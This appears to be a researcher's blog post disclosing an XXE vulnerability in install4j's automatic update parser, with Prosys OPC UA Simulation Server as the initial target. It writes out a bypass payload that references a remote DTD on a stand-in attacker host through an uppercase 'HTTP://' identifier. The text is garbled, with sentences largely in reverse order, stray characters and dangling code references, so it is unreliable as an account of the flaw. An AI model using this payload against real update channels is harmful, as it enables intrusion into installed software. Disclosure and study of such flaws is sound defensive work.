PoC based on “Prosys OPC UA Simulation Server” Restrictive and should have been the way to go. Note that the EntityResolver protection given by OWASP XXE Mitigations is more Additionally other file protocol handlers such as file:// or jar:// are not taken into account, yet. Finally, the dangerous sink at is called. using UPPERCASE protocol handler definitions such as SYSTEM "HTTP://ATTACKERSERVER/BAD.DTD". This will lead us into the if branch at, checking for PUBLIC and SYSTEM identifiers in the XML being parsed.Įven though startsWith("http:/") and startsWith("https:/") checks at should take care of preventing disallowed (external) entities and document type declarations, referencing a remote DTD file then being fetched with a HTTP request, It seems some default XXE mitigations were put into place by the downloadExternalEntities member being set to false as mentioned above. Then the DocumentBuilder gets instantiated at. This later calls a parse method with the parameter downloadExternalEntities = false from the previous call.Īt a DocumentBuilderFactory is created with help of. at. Public static Document parseFile ( final File file ) throws IOException Īt a parseFile method is called with a File object containing the response of the update server. The following code outline shows the full path to the vulnerable sink. The class com/install4j/runtime/installer/helper/XmlHelper implements the method public static Document parseFile(final File file) which seems to be the primary entrypoint for (auto) update checks. This delivered XML content is read by the client system with the product installed and parsed insecurely. If any affected product triggers an update check (scheduled or manually), the update server responds with a XML file containing information about available software versions withĪttributes pointing to the newest version, file hashes for verification etc. If connections to the update server are successfully controlled in some way. Products using install4j with its (automatic) update feature could be exploited, The latest version 10.0.4 (and former versions) of install4j is vulnerable to a XML External Entity (XXE) attack. Nevertheless, the Proof-of-Concept (PoC) exploitation will be shown against exactly this because it was my initial target. a badly configured SSL Inspection product in your company. This vulnerability is not applicable to Prosys OPC UA Simulation Server unfortunately except with e.g. BurpSuite :-P) which I wasn’t aware of in the beginning. Indeed, this installer software framework seems to be used a lot (e.g. Install4j is a powerful multi-platform Java installer builder that generates native installers and application launchers for Java applications. New Year’s Eve (2022/2023), the update function seemed to be a feasible victim to hunt for.Īs you will read in the following text, I did not manage to pwn the Prosys product properly but instead found a vulnerability in install4j which could presumably be applied in a lot of other software. Since I had only two days left ( lucky punch mode?!) between Christmas and Of several successful pwnages by former competitors targeting insecure update functions (all the love for curl -k & Co.). My primary motivation was not to participate myself but to get a feelingĪbout the difficulty level of the targets.ĭuring the installation routine on my Windows VM, the wizard closed with choosing an auto update interval. Several very skilled researchers partly pwned this in formerĬompetitions, at least parts of it with Denial-of-Service conditions, I think. I quickly chose my first (and only!) target: the Prosys OPC UA Simulation Server. This was the first time I wanted to look for vulnerabilities in their target list and thanks to some hints from friends It is related to a target of the upcoming Pwn2Own 2023 competition. In this blog post I describe a vulnerability for which I got a little bit too excited in the beginning.
0 Comments
Leave a Reply. |